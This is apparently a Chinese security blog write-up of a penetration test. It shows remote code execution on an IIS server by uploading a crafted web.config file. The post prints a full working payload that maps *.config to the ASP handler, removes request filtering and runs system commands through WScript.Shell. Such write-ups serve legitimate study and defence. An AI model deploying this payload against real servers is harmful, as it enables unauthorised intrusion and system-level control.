web.config上传文件远程代码执行漏洞(渗透测试实战思路分享)

  • A+
所属分类:网络安全文章
阿里


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

web.config上传文件远程代码执行漏洞(渗透测试实战思路分享)

由于ASP.NET默认设置有XSS攻击过滤功能,于是,服务器对/<>这样的测试返回了以下类似的错误响应消息:

  1. Server Error in ‘/’ Application.
  2. A potentially dangerous Request.Path value was detected from the client (<).

在这个返回页底部,我查看到了具体的ASP.NET版本,还有一个Microsoft的服务器头信息:

  1. Server: Microsoft-IIS/8.5

有了这些信息之后,我就想看看是否存在一些未授权的文件上传功能。经过‘.aspx’、‘.asp’ 和 ‘.asmx’等不同后缀文件的上传测试后,都是返回了错误消息页面。

  1. Description: Upload failed – Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856

通过web.config文件,我们可以对以下网站属性进行控制:

  1. Database connection strings. (数据库连接字符串)
  2. Error behavior.(错误操作)
  3. Security.(安全性)

由于web.config文件是XML文本,不像‘.html’ 或 ‘.txt等特殊后缀格式,所以,我想尝试来上传个web.config看看,这一传可不得了,竟然没返回任何错误响应消息页面,而且这个web.config被成功上传到了目标服务器网站的某个目录下了。

利用web.config

在web.config文件中添加代码实现了ASP代码运行的方式,于是,我经过改装,在其中添加了执行系统CMD命令的代码,如下:

  1. <?xml version=”1.0″ encoding=”UTF-8″?>
  2. <configuration>
  3. <system.webServer>
  4. <handlers accessPolicy=”Read, Script, Write”>
  5. <add
  6.  name=”web_config” path=”*.config” verb=”*” modules=”IsapiModule”
  7. scriptProcessor=”%windir%\system32\inetsrv\asp.dll”
  8. resourceType=”Unspecified” requireAccess=”Write”
  9. preCondition=”bitness64″ />
  10. </handlers>
  11. <security>
  12. <requestFiltering>
  13. <fileExtensions>
  14. <remove fileExtension=”.config” />
  15. </fileExtensions>
  16. <hiddenSegments>
  17. <remove segment=”web.config” />
  18. </hiddenSegments>
  19. </requestFiltering>
  20. </security>
  21. </system.webServer>
  22. <appSettings>
  23. </appSettings>
  24. </configuration>
  25. <!–
  26. <% Response.write(“-“&”->”)
  27. Response.write(“</p>
  28. <pre>”)</p>
  29. <p>Set wShell1 = CreateObject(“WScript.Shell”)
  30. Set cmd1 = wShell1.Exec(“whoami”)
  31. output1 = cmd1.StdOut.Readall()
  32. set cmd1 = nothing: Set wShell1 = nothing</p>
  33. <p>Response.write(output1)
  34. Response.write(“</pre>
  35. <p><!-“&”-“) %>
  36. >

以上代码在web.config中添加了一个可读可写权限的处理句柄程序,然后我们在<% %>之内写入了服务器端命令执行代码。当把这个web.config文件上传成功之后,浏览访问它,就会执行系统命令whoami命令,之后可成功返回 ‘nt authority\system,这样就获得了一个远程代码执行权限!

CE安全网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: